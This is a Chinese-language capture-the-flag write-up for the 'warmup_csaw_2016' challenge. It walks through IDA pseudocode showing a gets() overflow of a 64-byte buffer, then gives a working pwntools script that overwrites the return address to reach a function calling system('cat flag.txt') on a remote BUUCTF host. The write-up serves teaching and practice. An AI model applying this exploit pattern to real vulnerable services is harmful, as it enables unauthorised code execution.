更多全球网络安全资讯尽在邑安全
首先打开ida64,查看核心伪代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char s[64]; // [rsp+0h] [rbp-80h] BYREF
char v5[64]; // [rsp+40h] [rbp-40h] BYREF //这里知道v5的变量是rbp-40h
write(1, "-Warm Up-n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(s, "%pn", sub_40060D);
write(1, s, 9uLL);
write(1, ">", 1uLL);
return gets(v5);
}
进这个函数看看,眼前一亮,就是我们想要的 system(“cat flag.txt”)
点击查看函数所在位置,发现0x400611是压参数的地方。
我们可以将其作为返回地址。
也是看到了get函数,一般就是栈溢出了,v5的大小位0x40,再加上是64位,所以要输入0x40+8,来造成栈溢出,所以这道题的exploit为
from pwn import*
sh=remote('node4.buuoj.cn',26982)
flag_addr=0x40060D
payload=b'a'*(0x40+8)+p64(flag_addr)
sh.sendline(payload)
sh.interactive()
+8是加上rbp覆盖的地址,rbp覆盖后可以后面的程序流
推荐文章
1
2
原文始发于微信公众号(邑安全):warmup_csaw_2016
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论